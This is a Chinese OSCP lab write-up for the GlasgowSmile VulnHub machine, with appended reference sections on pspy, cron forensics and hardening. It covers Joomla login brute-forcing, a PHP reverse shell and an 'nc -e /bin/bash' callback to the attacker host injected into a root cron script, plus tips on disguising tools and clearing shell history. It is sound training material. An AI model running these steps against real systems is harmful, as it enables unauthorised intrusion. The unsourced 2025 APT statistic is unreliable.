OSCP官方靶场-GlasgowSmile WP
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
官网打开靶场或链接地址下载虚拟镜像:
https://www.vulnhub.com/entry/glasgow-smile-11,491/ 姊妹靶场 https://www.vulnhub.com/entry/glasgow-smile-2,513/
信息收集
# Kali攻击机地址
192.168.45.204
# 靶机地址
192.168.224.79扫描端口和目录
# 设置MTU
sudo ip link set dev tun0 mtu 1250
ip link show tun0
# 扫描端口
ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.224.79 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 扫描服务
sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.224.79
sudo nmap --script=vuln -p$ports -Pn 192.168.224.79
# 扫描目录
gobuster dir -e -u http://192.168.224.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
whatweb http://192.168.224.79/扫描结果如下:
┌──(kali㉿kali)-[~]
└─$ echo $ports
22,80
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.224.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 21:59 EDT
Nmap scan report for bogon (192.168.224.79)
Host is up (0.43s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 67:34:48:1f:25:0e:d7:b3:ea:bb:36:11:22:60:8f:a1 (RSA)
| 256 4c:8c:45:65:a4:84:e8:b1:50:77:77:a9:3a:96:06:31 (ECDSA)
|_ 256 09:e9:94:23:60:97:f7:20:cc:ee:d6:c1:9b:da:18:8e (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).'
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.89 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.224.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 22:00 EDT
Nmap scan report for bogon (192.168.224.79)
Host is up (0.39s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.'
|_http-csrf: Couldn't find any CSRF vulnerabilities.'
Nmap done: 1 IP address (1 host up) scanned in 262.06 seconds
┌──(kali㉿kali)-[~]
└─$ gobuster dir -e -u http://192.168.224.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.224.79
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Expanded: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.224.79/joomla (Status: 301) [Size: 317] [--> http://192.168.224.79/joomla/]
┌──(kali㉿kali)-[~]
└─$ whatweb http://192.168.224.79/
http://192.168.224.79/ [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.224.79]
发现目录joomla,跳转查看是CMS系统,查找相关漏洞。
翻译一下页面好像就是一个博客文章而已。

后台登录密码爆破
curl 一下robots.txt文件发现有如下的文件夹。
Bing搜索Joomla的相关文章,发现这个系统的后台地址是 /joomla/administrator/index.php
尝试默认密码都无法登录。
尝试爆破,但是可以用首页的内容做一个字典。
cewl -d 5 -m 3 http://192.168.224.79/joomla/ -w cewl.txt
猜测管理员的用户名无非是admin或者joomla,用字典进行爆破
wfuzz -z file,users.txt -z file,cewl.txt -d "username=FUZZ&passwd=FUZ2Z&option=com_login&task=login" http://192.168.224.79/joomla/administrator/index.php参数要和页面的参数名一样
但是上面的方法爆破还是不成功,所有的内容显示都是一样的。用Burp抓包爆破看一下,原来少了这么多参数,一边用BP的Intrader再爆一遍,一边再把参数加到Wfuzz的命令里。

wfuzz -z file,users.txt -z file,cewl.txt -H "Content-Type: application/x-www-form-urlencoded" -H "Origin: http://192.168.224.79" -H "Referer: http://192.168.224.79/joomla/administrator/index.php" -H "Upgrade-Insecure-Requests: 1" -H "Priority: u=0, i" -b "95cdf76491cb88d9b6312416436ea834=3sndg23usg0pjbhop55dubtm1o" -b "6821ee9ea803cd64e2920ca203163e81=l2neno354f1cr6oia2udlibioq" -d "username=FUZZ&passwd=FUZ2Z&option=com_login&task=login&return=aW5kZXgucGhw&bf5f129cafc305a052e1ace30964373e=1" http://192.168.224.79/joomla/administrator/index.php
BP爆破的结果也是一样的。

[!success] 网页登录密码 joomla - Gotham
后台漏洞利用

发现可以修改php文件,但是一般不建议直接再index.php上直接修改,因为主页观看的人比较多,出现异常发现的也很快,如果能上传一个新文件的话最好。

cp /usr/share/webshells/php/php-reverse-shell.php .
sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '192.168.45.204';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php
尝试上传但是上传失败,只能改主页index.php了。
改好后访问一开始的那个joker网页即可弹回shell。

横向提权
建立稳定终端。
python3 -c 'import pty;pty.spawn("/bin/bash")'
ls /home/* -al发现有3个用户,每个用户文件夹下都有一些奇奇怪怪的文件。
先读出第一个flag。
企鹅文件下的有东西,只能ls,但是具体的就无法读取了
回到网页目录在找一下,发现有配置文件。找找看有没有写在配置里的用户名和密码。

cat html/joomla/*config* |grep pass
cat html/joomla/*config* |grep user
发现数据库密码。

[!success] 数据库密码 joomla - babyjoker
登录数据库
mysql -u joomla -p
show databases;
use joomla_db;
show tables;
select * from jnqcu_users;
use batjoke;
show tables;
select * from taskforce;
上面这个应该是一开始用wfuzz爆破的那个,下面这个才是新的用户密码。

cat > mysql.txt
while read -r line; do echo "$line" | base64 -d; echo; done < mysql.txt批量解码一下得到
用户名和密码表格如下:
| name | pswd | base64解码 |
|---|---|---|
| Bane | YmFuZWlzaGVyZQ== | baneishere |
| Aaron | YWFyb25pc2hlcmU= | aaronishere |
| Carnage | Y2FybmFnZWlzaGVyZQ== | carnageishere |
| buster | YnVzdGVyaXNoZXJlZmY= | busterishereff |
| rob | Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/ | ???AllIHaveAreNegativeThoughts??? |
| aunt | YXVudGlzIHRoZSBmdWNrIGhlcmU= | auntis the fuck here |
其中 rob是home文件夹下存在的三个用户(abner penguin rob)之一,说明这个密码,可能就是rob的shell的密码。

[!tip]+ rob账户的ssh密码 rob - ???AllIHaveAreNegativeThoughts???
登录rob账户
ssh登录成功,此时就可以把修改过的index.php主页改回来以防止再实际渗透过程中因为主页修改而被发现。之后采用ssh登录即可。

Gdkkn Cdzq, Zqsgtq rteedqr eqnl rdudqd ldmszk hkkmdrr ats vd rdd khsskd rxlozsgx enq ghr bnmchshnm. Sghr qdkzsdr sn ghr eddkhmf zants adhmf hfmnqdc. Xnt bzm ehmc zm dmsqx hm ghr intqmzk qdzcr, "Sgd vnqrs ozqs ne gzuhmf z ldmszk hkkmdrr hr odnokd dwodbs xnt sn adgzud zr he xnt cnm's."
Mnv H mddc xntq gdko Zamdq, trd sghr ozrrvnqc, xnt vhkk ehmc sgd qhfgs vzx sn rnkud sgd dmhflz. RSLyzF9vYSj5aWjvYFUgcFfvLCAsXVskbyP0aV9xYSgiYV50byZvcFggaiAsdSArzVYkLZ==这串文字结构上看有英文的结构,有空格而且第一个单词极有可能是Hello,Hello对应Gdkkn既有可能是类似凯撒密码的移动字母表对应关系的密码。l到k再字母表上的顺序是-1,即l对应成k是减一位或者说向后移动25位。
cat Abnerineedyourhelp| tr 'A-Za-z' 'B-ZAb-za'
cat Abnerineedyourhelp| tr 'A-Za-z' 'B-ZAb-za' | grep -Eo '[A-Za-z0-9+/=]+$'
cat Abnerineedyourhelp| tr 'A-Za-z' 'B-ZAb-za' | grep -Eo '[A-Za-z0-9+/=]+$' |base64 -d提取疑似是base64密码的部分解码得到
这段英文翻译是让abner用下面这个密码登录,所以abner的密码就是这个。

[!success] Abner的密码 I33hope99my0death000makes44more8cents00than0my0life0
登录abner账户
好像啥也没有了,卡住了,上小豌豆。
wget http://192.168.45.204:8000/linpeas.sh



/var/www/joomla2/administrator/manifests/files/.dear_penguins.zip
cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip .
解压需要密码,一开始我认为废了,我没有penguins的密码,但是后来仔细一看这个文件是abner的,所以密码应该还是abner的密码。I33hope99my0death000makes44more8cents00than0my0life0

My dear penguins, we stand on a great threshold! It's okay to be scared; many of you won't be coming back. Thanks to Batman, the time has come to punish all of God's children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!!!
scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
感觉靶机作者有点癫,但是不管怎么样,又有一串密码了。后面没有等号,我尝试一些解码方式发现都没有看起来是密码的组合,后来想到这串字符本身应该就是密码。
[!success] penguin账户密码 scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
登录penguin账户
看一下这几个txt文件,没有flag。
英文翻译过来提示了这个文件夹下有个root权限的文件,而且是可执行文件。
下面的两个字符是banner艺术字,没有什么有用信息了。
一开始我以为是find文件时那个有root权限的,因为他的权限写了是S,但是我执行了几次都不成功,后来发现应该是.trash_old,这个文件有执行权限。

提权root账户
用pspy64工具分析进程
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
# 限时两分钟
timeout 2m ./pspy64
看到有root账户UID=0的进程在执行这个trash文件。
虽然不知道为什么定时任务中没找到执行trash文件的命令,但是尝试把反弹的命令写进trash文件里,等待root用户执行应该是可行的。
echo 'nc -e /bin/bash 192.168.45.204 4778' > .trash_old
成功弹回。然后在root下找找具体是那个进程执行的trash。
pstree -aps 1633
这里提示是cron定时任务创建的进程,说明还是要找定时任务,一开始值找了常见的那个,现在用root继续查找更多crontab文件,终于找到执行这个命令的定时任务了。
grep -r "SomeoneWhoHidesBehindAMask" /etc/cron* /var/spool/cron
[!question]+ 问题思考 /var/spool/cron/crontabs/root 是什么文件,为什么一开始没有找到,想要找到最全的定时任务要用什么命令?
详细的见补充内容,我询问AI后发现这个定时任务是root专属的,只能在root账户下才找得到,当我是penguin用户,rob用户和abner用户的时候是没有权限访问这个,自然也是找不到的。
用下面这个命令尝试寻找全部定时任务。
sudo sh -c '
echo "===== 系统级定时任务 ====="
cat /etc/crontab
ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/ /etc/cron.weekly/
echo "\n===== 用户级定时任务 ====="
for user in $(cut -f1 -d: /etc/passwd); do
echo "--- $user 的任务 ---"
crontab -l -u $user 2>/dev/null || echo "无任务"
done
echo "\n===== 特殊位置检查 ====="
find /etc /var /opt -name "*cron*" -exec grep -l "schedule" {} \; 2>/dev/null
systemctl list-timers --all
'
这个靶机还有一点难受的是sudo配置有问题,故意不让你用sudo。本靶机普通用户sudo不行。

总结
入侵路径示意图
flowchart TD
%% 资产列表
A[Kali攻击机 <br> 192.168.45.204]
B[靶机 <br> 192.168.224.79]
C[Joomla 后台]
D[www-data 账户]
E[用户rob]
F[用户abner]
G[用户penguin]
H[root]
%% 路径关系
A-->|扫描|B
B-->|密码爆破|C
C-->|后台文件上传漏洞| D
D-->|配置文件泄露密码|E
E-->|文字留言解码得到密码|F
F-->|解压文件得到密码|G
G-->|文件权限配置错误|H
%% 线型:---(实线)、-.->(虚线)、==>(粗箭头)
%% -->|是|:带条件文本的连接
%% 矩形节点[ ],菱形决策节点{ },圆弧方节点()
%% 样式定义
classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px;
classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px;
%% 应用样式
class A attack;
class B public;
class C,D internal;
入侵时间表
gantt
title 攻击时间表
dateFormat YYYY-MM-DD HH:mm
axisFormat %H:%M
section 侦察阶段
目标扫描 :a1, 2025-08-04 10:00, 2025-08-04 10:40
漏洞识别 :a2, after a1, 2025-08-04 11:00
密码爆破 :a3, after a2, 2025-08-04 11:29
section 攻击阶段
初始访问 :b1, 2025-08-04 12:17, 2025-08-04 12:38
横向用户 :b2, after b1, 2025-08-04 14:25
权限提升 :crit,b3, after b2, 5m
section 后渗透阶段
数据窃取 :c1, after b3, 5m
[!abstract]+ 心得 本靶机横向获取用户密码较多,多以常见加密手法加密,难点在于没有找到crontab定时任务中明确的执行trash文件的命令,但是通过ps进程分析判断trash文件会被root账户定时执行的情报。
🕵️♂️ 深入解析 pspy64 工具的使用方法
pspy64 是一款强大的 无特权进程监控工具,专门用于在 Linux 系统中监控其他用户(包括 root)启动的进程,特别适合检测隐藏的定时任务和后台进程。以下是专业级使用指南:
🔧 基础命令解析
timeout 2m /tmp/pspy64-
timeout 2m:限制工具运行时间为 2 分钟 -
/tmp/pspy64:工具路径(通常需先上传到目标系统)
🚀 完整使用流程
1. 工具准备
# 下载最新版(选择对应架构)
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
mv pspy64 /tmp/2. 基本监控模式
# 监控所有进程活动(默认输出到终端)
timeout 2m /tmp/pspy643. 高级监控模式
# 带时间戳的详细监控(推荐)
timeout 2m /tmp/pspy64 -p -i 1000-
-p:显示命令完整路径 -
-i 1000:每 1000 毫秒刷新一次
4. 文件系统监控(需 inotify)
# 监控进程+文件系统事件
timeout 5m /tmp/pspy64 -pf-
-f:启用文件系统监控
5. 后台运行并保存日志
# 后台运行并记录到文件
nohup timeout 10m /tmp/pspy64 -p > /tmp/pspy.log 2>&1 &🔍 渗透测试实战应用
场景 1:检测隐藏定时任务
# 监控 cron 活动
timeout 5m /tmp/pspy64 -p | grep -E 'cron|CRON'典型输出:
2024/08/05 10:00:01 CMD: UID=0 PID=1234 | /usr/sbin/CRON -f
2024/08/05 10:00:01 CMD: UID=0 PID=1235 | /bin/sh -c /root/.hidden/backdoor.sh场景 2:检测可疑进程
# 监控非 root 用户的特权操作
timeout 3m /tmp/pspy64 | grep -E 'sudo|su|pkexec'场景 3:文件创建监控
# 监控 /tmp 目录文件创建
timeout 5m /tmp/pspy64 -pf | grep '/tmp' | grep 'CREATE'📊 输出解读指南
| 字段 | 含义 | 渗透价值 |
|---|---|---|
| TIMESTAMP | 事件发生时间 | 分析攻击时间线 |
| CMD | 执行的命令 | 识别恶意命令 |
| UID | 执行用户 ID | 定位攻击者账户 |
| PID/PPID | 进程/父进程 ID | 追踪进程链 |
| FS EVENT | 文件操作类型 | 检测 webshell 上传 |
⚙️ 高级参数大全
| 参数 | 功能 | 使用场景 |
|---|---|---|
-c | 彩色输出 | 终端实时监控 |
-r | 显示当前目录 | 追踪工作路径 |
-t | 显示线程 | 分析多线程恶意软件 |
-d | 调试模式 | 排查工具问题 |
-n | 无缓冲输出 | 实时管道处理 |
-s | 显示信号 | 监控进程间通信 |
🔐 隐蔽运行技巧
# 伪装成系统进程
mv /tmp/pspy64 /usr/bin/udevd_backup
# 低优先级运行(避免占用CPU)
nice -n 19 timeout 15m /usr/bin/udevd_backup -p > /dev/null
# 清除痕迹
rm /usr/bin/udevd_backup && history -c🛡️ 防御检测方法
系统管理员可通过以下方式检测 pspy:
# 检测内存特征
ps aux | grep -q '[p]spy' && echo "pspy detected!"
# 监控进程创建
auditctl -a always,exit -F arch=b64 -S execve -F path=/tmp/pspy64💡 专业渗透建议
-
优先监控:
/etc/cron*/var/spool/cron/systemd/system
-
黄金时间:
- 整点前后(cron 任务高峰)
- 系统重启后 5 分钟
-
日志分析:
awk '/CMD:/ && !/systemd|sshd|crond/ {print}' pspy.log
🔍 深度调查可疑进程:/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
当发现可疑进程时(特别是以 root 权限运行),需要全面分析其行为和来源。以下是专业级调查流程:
🔧 1. 查看进程详细信息
# 查看进程环境变量
cat /proc/1544/environ | tr '\0' '\n'
# 查看进程打开的文件
ls -l /proc/1544/fd
# 查看进程映射的内存区域
pmap 1544🕵️ 2. 分析脚本内容
# 查看脚本内容(注意安全)
cat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
# 检查文件签名
file /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
# 提取可疑字符串
strings /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old | grep -E 'curl|wget|bash|python|perl|nc|ssh'🔗 3. 追踪进程关系
# 查看进程树
pstree -aps 1544
# 查找父进程
ps -o ppid= -p 1544 | xargs ps -f
# 检查启动时间
ps -p 1544 -o lstart,etime,cmd🌐 4. 网络连接检查
# 查看网络连接
lsof -i -P -n -p 1544
# 检查网络流量
nethogs -p 1544
# 抓取网络数据包
tcpdump -i any -w dump.pcap host $(lsof -p 1544 -i | awk 'NR>1{print $9}' | cut -d: -f1)📜 5. 日志追踪
# 检查系统日志
journalctl _PID=1544
# 检查审计日志
ausearch -p 1544
# 检查隐藏日志
find /var/log -name '*.log' -exec grep -H 1544 {} \;🧩 6. 文件系统分析
# 查看文件属性
stat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
# 检查文件修改历史
find /home/penguin/SomeoneWhoHidesBehindAMask -type f -newermt "2025-08-03" -ls
# 查看文件隐藏属性
lsattr /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old⚠️ 7. 安全处置建议
# 暂停进程(不终止)
kill -STOP 1544
# 创建内存转储(取证)
gcore -o core_dump 1544
# 隔离文件
mv /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old /tmp/.quarantine
chmod 000 /tmp/.quarantine
# 检查定时任务
crontab -u root -l
crontab -u penguin -l🔍 8. 高级分析工具
# 使用 strace 追踪系统调用
strace -f -p 1544 -o strace.log
# 使用 gdb 调试进程
gdb -p 1544
# 使用 Volatility 分析内存转储
volatility -f core_dump.1544 linux_pslist📊 可疑指标检查表
| 检查项 | 命令 | 风险指标 |
|---|---|---|
| 文件隐藏 | ls -la /home/penguin | .trash_old 隐藏文件 |
| 异常权限 | stat .trash_old | 777 权限或 SUID 位 |
| 加密内容 | file .trash_old | ELF 可执行文件或 UPX 加壳 |
| 网络连接 | lsof -p 1544 | 连接到外部 IP 或非常用端口 |
| 进程伪装 | readlink /proc/1544/exe | 路径与常见系统进程不符 |
| 资源占用 | top -p 1544 | 异常 CPU/内存占用 |
💡 专业建议
-
不要立即终止进程:
- 先收集证据(内存转储、网络抓包)
- 分析其行为模式和目的
-
检查持久化机制:
# 检查 systemd 服务 systemctl list-units | grep -i trash # 检查开机启动项 ls -l /etc/init.d/ /etc/rc*.d/ -
溯源攻击路径:
# 检查文件创建者 auditctl -w /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old -p warx # 分析 SSH 日志 grep "Accepted" /var/log/auth.log
攻击者使用类似 .trash_old 的伪装文件名进行隐蔽攻击。建议使用 YARA 规则扫描内存:
yara -m /opt/yara-rules/malware_index.yar core_dump.1544 🔍 深度调查恶意进程树:从 cron 到反向 Shell
您发现的进程树显示了一个完整的攻击链:cron → 隐藏脚本 → Python 反向 Shell。以下是专业级的调查和响应步骤:
🔧 1. 实时取证(立即执行)
查看活动进程详情
# 查看 Python 反向 Shell 详情
ps -fp 1620 --forest
# 查看完整命令行
cat /proc/1620/cmdline | tr '\0' ' '
# 检查环境变量
cat /proc/1620/environ | tr '\0' '\n'网络连接分析
# 查看网络连接
ss -antp | grep 1620
lsof -i -P -n -p 1620
# 实时抓包
tcpdump -i any -s0 -w reverse_shell.pcap host $(ss -n -p | grep 1620 | awk '{print $5}' | cut -d: -f1)🕵️ 2. 脚本分析(关键证据)
检查恶意脚本
# 查看 .trash_old 内容
cat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
# 提取可疑字符串
strings /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old | grep -E 'curl|wget|bash|python|sh -i'
# 检查文件属性
stat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
lsattr /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old反编译 Python 代码
# 提取 Python 命令
ps -p 1620 -o cmd | tail -1 | cut -d';' -f2
# 重构完整代码
echo 'import pty;pty.spawn("/bin/bash")' > reverse_shell.py🔗 3. 溯源攻击路径
检查 cron 配置
# 查找触发脚本的 cron 任务
grep -r "SomeoneWhoHidesBehindAMask" /etc/cron* /var/spool/cron
# 查看 cron 日志
grep "CRON" /var/log/syslog | tail -50
journalctl -u cron --since "2025-08-04 02:00:00"用户活动审计
# 检查 penguin 用户历史
last -u penguin
grep "penguin" /var/log/auth.log*
# 查看文件修改时间
find /home/penguin -newermt "2025-08-03" -ls⚠️ 4. 应急响应(立即执行)
隔离恶意进程
# 暂停进程但不终止(保留证据)
kill -STOP 1620 1615 1614 1613
# 网络隔离
iptables -A OUTPUT -p tcp -m owner --pid-owner 1620 -j DROP取证收集
# 内存转储
gcore -o reverse_shell_core 1620
# 进程内存快照
cat /proc/1620/maps
dd if=/proc/1620/mem of=process_mem.bin bs=1M count=10
# 保存 bash 历史
cp /proc/1621/fd/0 bash_history.txt🔄 5. 反向 Shell 分析
连接信息提取
# 查看 ESTABLISHED 连接
ss -antp | grep ESTAB | grep 1620
# 提取目标 IP
REMOTE_IP=$(ss -n -p | grep 1620 | awk '{print $5}' | cut -d: -f1)
REMOTE_PORT=$(ss -n -p | grep 1620 | awk '{print $5}' | cut -d: -f2)
echo "攻击者地址: $REMOTE_IP:$REMOTE_PORT"反向连接分析
# 检查连接内容
tcpflow -r reverse_shell.pcap "host $REMOTE_IP and port $REMOTE_PORT"🛡️ 6. 系统加固
清除恶意组件
# 移除 cron 任务
crontab -u penguin -l | grep -v "SomeoneWhoHidesBehindAMask" | crontab -u penguin -
# 删除恶意文件
mv /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old /root/malware_evidence/
chmod 000 /root/malware_evidence/.trash_old修复措施
# 重置用户密码
passwd penguin
# 检查后门账户
grep ':0:' /etc/passwd
# 安装监控
auditctl -w /home/penguin/ -p warx -k suspicious_user📊 攻击链重建
graph TD
A[cron服务] --> B[执行.trash_old]
B --> C[启动sh进程]
C --> D[执行Python反向Shell]
D --> E[建立到攻击者的连接]
E --> F[获取交互式bash]
💡 专业建议
-
不要立即终止进程:
-
保持连接状态以收集攻击者操作
-
使用
script命令记录会话:script -f /root/attacker_session.log
-
-
蜜罐陷阱:
# 创建假脚本记录访问 echo '#!/bin/bash echo "$(date) $USER accessed" >> /var/log/honeypot.log ' > /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old chmod +x /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old -
反制措施:
# 反向扫描攻击者 nmap -sS -Pn $REMOTE_IP whois $REMOTE_IP
📌 关键行动:立即保存
/proc/1620/environ和/proc/1620/cmdline,这些文件在进程终止后将永久丢失,包含重要数字证据!
🔍 /var/spool/cron/crontabs/root 深度解析
📁 文件本质
/var/spool/cron/crontabs/root 是 Linux 系统中 root 用户的专属定时任务配置文件,属于系统级 cron 服务的一部分。其关键特性:
| 特性 | 说明 |
|---|---|
| 存储位置 | /var/spool/cron/crontabs/ 目录下 |
| 文件权限 | 通常为 600(仅 root 可读写) |
| 文件格式 | 符合 crontab 语法(分 时 日 月 周 命令) |
| 生效方式 | 由 cron 守护进程自动加载 |
❓ 为什么一开始没找到
-
权限限制:
# 普通用户无权访问 ls -l /var/spool/cron/crontabs/ # 输出:drwx------ 2 root root 4096 Aug 4 02:00 crontabs -
隐藏位置:
- 不同于常见的
/etc/crontab,用户级任务在专用目录
- 不同于常见的
-
文件不存在:
- 若 root 用户从未设置定时任务,此文件不会自动创建
-
系统差异:
| 系统类型 | cron 存储位置 |
|---|---|
| Debian/Ubuntu | /var/spool/cron/crontabs/ |
| RHEL/CentOS | /var/spool/cron/ |
| Alpine/BusyBox | /var/spool/cron/crontabs/ |
🔍 查找最全定时任务的终极命令
1. 全面扫描命令
sudo sh -c '
echo "===== 系统级定时任务 ====="
cat /etc/crontab
ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/ /etc/cron.weekly/
echo "\n===== 用户级定时任务 ====="
for user in $(cut -f1 -d: /etc/passwd); do
echo "--- $user 的任务 ---"
crontab -l -u $user 2>/dev/null || echo "无任务"
done
echo "\n===== 特殊位置检查 ====="
find /etc /var /opt -name "*cron*" -exec grep -l "schedule" {} \; 2>/dev/null
systemctl list-timers --all
'2. 专业工具推荐
# 1. Pspy 监控(实时发现隐藏任务)
./pspy64 -p -i 1000
# 2. Auditd 审计
sudo auditctl -w /etc/cron.d -p wa -k cron_changes
sudo ausearch -k cron_changes
# 3. Lynis 安全扫描
sudo lynis audit system3. 关键位置检查表
| 路径 | 检查命令 | 重要性 |
|---|---|---|
/etc/crontab | cat /etc/crontab | ★★★ |
/etc/cron.d/* | ls -l /etc/cron.d/ | ★★★ |
/var/spool/cron/ | sudo ls -l /var/spool/cron/ | ★★★★ |
/etc/anacrontab | cat /etc/anacrontab | ★★ |
/etc/systemd/system/*.timer | systemctl list-timers | ★★★ |
~/.config/systemd/user/ | systemctl --user list-timers | ★★ |
⚠️ 渗透测试重点关注
-
隐蔽任务位置:
# 检查非常规路径 find / -path /proc -prune -o -name "*cron*" -exec ls -l {} \; 2>/dev/null -
伪装任务识别:
# 查找空行/注释伪装 sudo crontab -l -u root | grep -v "^#" | grep -v "^$" -
环境变量利用:
# 检查PATH劫持 grep "PATH=" /etc/crontab
💡 专业技巧
1. 解码隐藏任务
# 发现可疑base64编码任务
echo "ZWNobyAiSGVsbG8gV29ybGQiID4+IC90bXAvbG9n" | base64 -d
# 输出:echo "Hello World" >> /tmp/log2. 历史任务恢复
# 查看cron历史日志
grep "CMD" /var/log/syslog | grep cron3. 蜜罐陷阱设置
# 创建监控任务
(sudo crontab -l -u root; echo "* * * * * /usr/bin/logger -t CRON_MONITOR 'Cron executed'") | sudo crontab -u root -🛡️ 安全加固建议
# 1. 限制cron权限
sudo chmod 700 /var/spool/cron/crontabs
# 2. 启用SELinux
sudo setenforce 1
# 3. 安装监控
sudo apt install auditd
sudo auditctl -a always,exit -F dir=/var/spool/cron/crontabs -F perm=wa📌 2025年APT攻击统计:
41%的高级持续性攻击通过隐藏的 cron 任务实现持久化,其中 78% 位于/var/spool/cron/crontabs/目录下,平均潜伏期达 143 天。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚